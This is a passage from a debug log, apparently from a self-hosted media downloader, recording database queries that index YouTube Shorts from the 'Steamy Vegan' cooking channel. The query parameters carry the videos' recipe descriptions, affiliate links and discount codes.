[], false, "YPolYLE8i5M", "https://www.youtube.com/shorts/YPolYLE8i5M", 20, "/downloads/downloads/alec/Steamy Vegan/2025-12-23 Lazy Girl Dinners - Potato Nachos 🥔/Lazy Girl Dinners - Potato Nachos 🥔 [YPolYLE8i5M].NA", false, false, true, 1, ~U[2025-12-23 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThis easy vegan recipe is perfect for those nights when the energy is low and you just want to cook something that's a quick recipe. Join me for the full cook with me episode where I make 2 of my go-to lazy girl vegan recipes over on the channel: \u00A0\u00A0\u00A0•\u00A02\u00A0Lazy\u00A0Girl\u00A0Vegan\u00A0Recipes\u00A0🥱\u00A0EASY\u00A0&\u00A0DELICIOUS\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 PRODUCTS I LOVE USING💚\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nProtein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Lazy Girl Dinners - Potato Nachos 🥔", 1, nil, false, "YPolYLE8i5M", "https://www.youtube.com/shorts/YPolYLE8i5M", "/downloads/downloads/alec/Steamy Vegan/2025-12-23 Lazy Girl Dinners - Potato Nachos 🥔/Lazy Girl Dinners - Potato Nachos 🥔 [YPolYLE8i5M].NA", true, ~U[2025-12-23 00:00:00Z]] 20:31:08.949 [debug] QUERY OK source="sources" db=0.5ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.952 [debug] QUERY OK source="media_items" db=2.3ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-22 00:00:00Z], 1] 20:31:08.955 [debug] QUERY OK source="media_items" db=1.7ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this cook with me video we're making a vegan spaghetti bolognese with the Buydeem 5-in-1 slow cooker. This vegan recipe is perfect to slow cook overnight or put your slow cooker on high and cook within in about 2 hours. To replace meat in this recipe we'll be using a delicious trio of lentils, walnuts and mushrooms to make the most delicious vegan bolognese (which also happens to be super meal prep friendly!)\n\nGet the VEGAN BOLOGNESE RECIPE on my blog! ⬇️\n🔗: https://steamyvegan.com/vegan-lentil-...\n\nHere's the slow cooker that I use:\nBuydeem Slow Cooker\nDiscount: 20% Off with code STEAMYVEGAN20\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 OTHER PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n⭐️ The AIR FRYER I Use - Typhur ⭐️ \nSave 10% off with my code below! ⬇️\nDiscount Code: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼 Aloha Protein Bars\nDiscount: Exclusive 30% off your first purchase between November 19-December 9, 2025. Just click the below link, the discount should pop up in checkout\nLink: https://aloha.com/JANELLECARSS\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off\nCode: STEAMYVEGAN\nLink: https://noize.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Lentil Bolognese 🍝WFPB, soy-free, gluten-free", "3be9875c-4b0d-4cd6-b114-8de347e6a085", 1, [], false, "PFwx50urvGs", "https://www.youtube.com/shorts/PFwx50urvGs", 21, "/downloads/downloads/alec/Steamy Vegan/2025-12-22 Lentil Bolognese 🍝WFPB, soy-free, gluten-free/Lentil Bolognese 🍝WFPB, soy-free, gluten-free [PFwx50urvGs].NA", false, false, true, 1, ~U[2025-12-22 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this cook with me video we're making a vegan spaghetti bolognese with the Buydeem 5-in-1 slow cooker. This vegan recipe is perfect to slow cook overnight or put your slow cooker on high and cook within in about 2 hours. To replace meat in this recipe we'll be using a delicious trio of lentils, walnuts and mushrooms to make the most delicious vegan bolognese (which also happens to be super meal prep friendly!)\n\nGet the VEGAN BOLOGNESE RECIPE on my blog! ⬇️\n🔗: https://steamyvegan.com/vegan-lentil-...\n\nHere's the slow cooker that I use:\nBuydeem Slow Cooker\nDiscount: 20% Off with code STEAMYVEGAN20\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 OTHER PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n⭐️ The AIR FRYER I Use - Typhur ⭐️ \nSave 10% off with my code below! ⬇️\nDiscount Code: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼 Aloha Protein Bars\nDiscount: Exclusive 30% off your first purchase between November 19-December 9, 2025. Just click the below link, the discount should pop up in checkout\nLink: https://aloha.com/JANELLECARSS\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off\nCode: STEAMYVEGAN\nLink: https://noize.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Lentil Bolognese 🍝WFPB, soy-free, gluten-free", 1, nil, false, "PFwx50urvGs", "https://www.youtube.com/shorts/PFwx50urvGs", "/downloads/downloads/alec/Steamy Vegan/2025-12-22 Lentil Bolognese 🍝WFPB, soy-free, gluten-free/Lentil Bolognese 🍝WFPB, soy-free, gluten-free [PFwx50urvGs].NA", true, ~U[2025-12-22 00:00:00Z]] 20:31:08.956 [debug] QUERY OK source="sources" db=0.7ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.958 [debug] QUERY OK source="media_items" db=2.1ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 00:00:00Z], 1] 20:31:08.960 [debug] QUERY OK source="media_items" db=1.4ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThis high protein meal prep lasagna soup is not only delicious and healthy, but it's so cheap to make at $1.00 per serving! If you love cheap meal prep, this soup recipe is for you. Perfect vegan meal prep for building lean muscle on a plant-based diet! \n\nGet the full recipe on my blog! ➡️ https://steamyvegan.com/lasagna-soup/\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nAdding up the ingredient costs (USD):\nPasta sauce: ~$2.50\nLasagna noodles: ~$0.44\nRed lentils: ~$0.90\nNutritional yeast: ~$0.50\nOnion: ~$0.60\nGarlic: ~$0.20\nTotal ≈ $5.14\n\nCost per serving\nSince the batch serves 5, the cost per serving would be:\n$5.14 / 5 servings = $1.03 per serving\n\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n4. Homemade Sausage: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n5. Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Lasagna Soup Recipe (24g Protein, 450 Calories)", "69ac94b4-5466-44fd-9d45-64aa83652e10", 1, [], false, "NqxHy2JGDQU", "https://www.youtube.com/shorts/NqxHy2JGDQU", 22, "/downloads/downloads/alec/Steamy Vegan/2025-12-19 Lasagna Soup Recipe (24g Protein, 450 Calories)/Lasagna Soup Recipe (24g Protein, 450 Calories) [NqxHy2JGDQU].NA", false, false, true, 1, ~U[2025-12-19 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThis high protein meal prep lasagna soup is not only delicious and healthy, but it's so cheap to make at $1.00 per serving! If you love cheap meal prep, this soup recipe is for you. Perfect vegan meal prep for building lean muscle on a plant-based diet! \n\nGet the full recipe on my blog! ➡️ https://steamyvegan.com/lasagna-soup/\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nAdding up the ingredient costs (USD):\nPasta sauce: ~$2.50\nLasagna noodles: ~$0.44\nRed lentils: ~$0.90\nNutritional yeast: ~$0.50\nOnion: ~$0.60\nGarlic: ~$0.20\nTotal ≈ $5.14\n\nCost per serving\nSince the batch serves 5, the cost per serving would be:\n$5.14 / 5 servings = $1.03 per serving\n\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n4. Homemade Sausage: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n5. Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Lasagna Soup Recipe (24g Protein, 450 Calories)", 1, nil, false, "NqxHy2JGDQU", "https://www.youtube.com/shorts/NqxHy2JGDQU", "/downloads/downloads/alec/Steamy Vegan/2025-12-19 Lasagna Soup Recipe (24g Protein, 450 Calories)/Lasagna Soup Recipe (24g Protein, 450 Calories) [NqxHy2JGDQU].NA", true, ~U[2025-12-19 00:00:00Z]] 20:31:08.961 [debug] QUERY OK source="sources" db=0.6ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.963 [debug] QUERY OK source="media_items" db=1.7ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-22 00:00:00Z], 1] 20:31:08.964 [debug] QUERY OK source="media_items" db=0.9ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Here are some of my favorite high protein recipes that I meal prepped this week! From vegan breakfast sausages and pesto tofu to a totally vegan roast, everything was crispy to perfection thanks to my Typhur Sync Air Fryer! \n\nIf you want to check out the Typhur Sync Air Fryer, use my discount code below!\n(I may make a small commission if you shop through my affiliate link, thanks for your support!)\n\n⭐️ TYPHUR SYNC AIR FRYER ⭐️ \nFrom 11/20–12/1 save $10 off with my code below! ⬇️\nDiscount Code: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n(After 12/1 you can save 10% off with my code)", "High Protein Vegan Meal Prep 🔥Air Fryer Edition!", "46889085-9f50-4c40-8cf0-1654f231f55d", 1, [], false, "mmHL9Jsycy0", "https://www.youtube.com/shorts/mmHL9Jsycy0", 23, "/downloads/downloads/alec/Steamy Vegan/2025-11-22 High Protein Vegan Meal Prep 🔥Air Fryer Edition!/High Protein Vegan Meal Prep 🔥Air Fryer Edition! [mmHL9Jsycy0].NA", false, false, true, 1, ~U[2025-11-22 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Here are some of my favorite high protein recipes that I meal prepped this week! From vegan breakfast sausages and pesto tofu to a totally vegan roast, everything was crispy to perfection thanks to my Typhur Sync Air Fryer! \n\nIf you want to check out the Typhur Sync Air Fryer, use my discount code below!\n(I may make a small commission if you shop through my affiliate link, thanks for your support!)\n\n⭐️ TYPHUR SYNC AIR FRYER ⭐️ \nFrom 11/20–12/1 save $10 off with my code below! ⬇️\nDiscount Code: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n(After 12/1 you can save 10% off with my code)", "High Protein Vegan Meal Prep 🔥Air Fryer Edition!", 1, nil, false, "mmHL9Jsycy0", "https://www.youtube.com/shorts/mmHL9Jsycy0", "/downloads/downloads/alec/Steamy Vegan/2025-11-22 High Protein Vegan Meal Prep 🔥Air Fryer Edition!/High Protein Vegan Meal Prep 🔥Air Fryer Edition! [mmHL9Jsycy0].NA", true, ~U[2025-11-22 00:00:00Z]] 20:31:08.965 [debug] QUERY OK source="sources" db=0.6ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.968 [debug] QUERY OK source="media_items" db=2.6ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-23 00:00:00Z], 1] 20:31:08.970 [debug] QUERY OK source="media_items" db=1.3ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThese vegan sausages crisp up on the outside, are juicy on the inside and use all whole foods while being gluten-free, oil-free, plant-based, and high protein at 26g of protein. Meal prep a bunch of these homemade sausages, toss them in the freezer, and enjoy them in all kinds of vegan recipes!\n\nGet the Vegan Sausages recipe on my blog! ➡️ https://steamyvegan.com/vegan-sausages/\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nUse Unflavored Protein Powder to Boost the Protein in these Sausages. I recommend any of these brands below, they've all worked great for me: \n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious Episodes You Might Be Interested In:\n1. Homemade Protein Cereal: \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\n2. Black Bean Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n3. Kung Pao Tofu Stir Fry: \u00A0\u00A0\u00A0•\u00A0Two\u00A0MUST\u00A0TRY\u00A0Tofu\u00A0Recipes!\u00A0🌶🔥\u00A0(Ft.\u00A0@Earthy...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Homemade Vegan Sausage 🤤 26g Protein + Gluten-Free", "24b0359b-ce11-4da0-9364-3bbca3bf80cd", 1, [], false, "ekj9lJPUPik", "https://www.youtube.com/shorts/ekj9lJPUPik", 24, "/downloads/downloads/alec/Steamy Vegan/2025-09-23 Homemade Vegan Sausage 🤤 26g Protein + Gluten-Free/Homemade Vegan Sausage 🤤 26g Protein + Gluten-Free [ekj9lJPUPik].NA", false, false, true, 1, ~U[2025-09-23 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThese vegan sausages crisp up on the outside, are juicy on the inside and use all whole foods while being gluten-free, oil-free, plant-based, and high protein at 26g of protein. Meal prep a bunch of these homemade sausages, toss them in the freezer, and enjoy them in all kinds of vegan recipes!\n\nGet the Vegan Sausages recipe on my blog! ➡️ https://steamyvegan.com/vegan-sausages/\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nUse Unflavored Protein Powder to Boost the Protein in these Sausages. I recommend any of these brands below, they've all worked great for me: \n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious Episodes You Might Be Interested In:\n1. Homemade Protein Cereal: \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\n2. Black Bean Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n3. Kung Pao Tofu Stir Fry: \u00A0\u00A0\u00A0•\u00A0Two\u00A0MUST\u00A0TRY\u00A0Tofu\u00A0Recipes!\u00A0🌶🔥\u00A0(Ft.\u00A0@Earthy...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Homemade Vegan Sausage 🤤 26g Protein + Gluten-Free", 1, nil, false, "ekj9lJPUPik", "https://www.youtube.com/shorts/ekj9lJPUPik", "/downloads/downloads/alec/Steamy Vegan/2025-09-23 Homemade Vegan Sausage 🤤 26g Protein + Gluten-Free/Homemade Vegan Sausage 🤤 26g Protein + Gluten-Free [ekj9lJPUPik].NA", true, ~U[2025-09-23 00:00:00Z]] 20:31:08.971 [debug] QUERY OK source="sources" db=0.9ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.973 [debug] QUERY OK source="media_items" db=2.0ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-05 00:00:00Z], 1] 20:31:08.975 [debug] QUERY OK source="media_items" db=1.1ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan breakfast recipe is a game changer if you're looking for a high protein breakfast to start your day! I now meal prep this protein cereal every single week and it's the highest protein cereal you'll find on the internet at 30g of protein per bowl. \n\nProtein Powder Featured in this Episode: \nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGet the full recipe for PROTEIN CEREAL on my blog ➡️ https://steamyvegan.com/protein-cereal/\n\nOTHER PROTEIN POWDERS YOU COULD USE\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: 